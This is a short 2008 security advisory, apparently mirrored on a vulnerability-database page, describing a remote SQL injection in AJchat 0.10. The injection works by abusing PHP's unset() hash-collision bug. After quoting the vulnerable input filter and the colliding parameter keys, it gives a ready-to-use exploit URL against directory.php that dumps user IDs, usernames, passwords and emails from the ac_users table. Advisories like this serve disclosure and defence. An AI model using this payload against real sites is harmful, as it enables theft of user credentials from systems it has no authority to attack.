AJchat 0.10 unset() bug Remote SQL Injection Vulnerability

🗓️ 14 Jan 2008 00:00:00Reported by RootType
AJchat 0.10 unset() bug Remote SQL Injection Vulnerabilit

                                                ----[&nbsp;AJchat&nbsp;Remote&nbsp;Sql&nbsp;Injection&nbsp;using&nbsp;unset()&nbsp;bug&nbsp;...&nbsp;ITDefence.ru&nbsp;Antichat.ru&nbsp;]

							AJchat&nbsp;Remote&nbsp;Sql&nbsp;Injection&nbsp;using&nbsp;unset()&nbsp;bug
							Eugene&nbsp;Minaev&nbsp;[email protected]&nbsp;
				___________________________________________________________________
			____/&nbsp;&nbsp;__&nbsp;__&nbsp;_______________________&nbsp;_______&nbsp;&nbsp;_______________&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;\
			/&nbsp;.\&nbsp;&nbsp;/&nbsp;&nbsp;/_//&nbsp;//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;/__/&nbsp;&nbsp;&nbsp;/
			/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/___/
			\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/
			/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//\
			\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;____________/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;__________//&nbsp;/__&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;/&nbsp;&nbsp;&nbsp;
			/\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\_______/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\________________/____/&nbsp;&nbsp;2007&nbsp;&nbsp;&nbsp;&nbsp;/_//_/&nbsp;&nbsp;&nbsp;//&nbsp;//\
			\&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;//&nbsp;/
			.\&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ITDEFENCE.ru&nbsp;Security&nbsp;advisory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;//&nbsp;/&nbsp;.&nbsp;
			.&nbsp;\_\\________[________________________________________]_________//_//_/&nbsp;.&nbsp;.
			
		&lt;?php
		if&nbsp;(isset($_GET[&quot;s&quot;])){
		$_GET[&quot;s&quot;]&nbsp;=&nbsp;strtoupper($_GET[&quot;s&quot;]);
		if&nbsp;(strlen($_GET[&quot;s&quot;])==1&nbsp;&amp;&amp;&nbsp;$_GET[&quot;s&quot;]&gt;='A'&nbsp;&amp;&amp;&nbsp;$_GET[&quot;s&quot;]&lt;='Z'){
		//&nbsp;nothing
		}else&nbsp;unset($_GET['s']);
		}&nbsp;
		?&gt;
		
		As&nbsp;we&nbsp;can&nbsp;see&nbsp;,&nbsp;$_GET['s']&nbsp;can&nbsp;include&nbsp;only&nbsp;A..Z&nbsp;characters&nbsp;,&nbsp;in&nbsp;other&nbsp;way&nbsp;script&nbsp;unset()&nbsp;it.
		
		calc.exe&nbsp;s
		5861526=1
		5863704=1
		
		directory.php?s='and&nbsp;1&nbsp;=&nbsp;2&nbsp;union&nbsp;select&nbsp;concat_ws(char(59),id,username,password,email),null+from+ac_users/*&amp;5861526=1&amp;5863704=1

----[&nbsp;FROM&nbsp;RUSSIA&nbsp;WITH&nbsp;LOVE&nbsp;::&nbsp;underWHAT?!&nbsp;,&nbsp;gemaglabin&nbsp;]
14 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1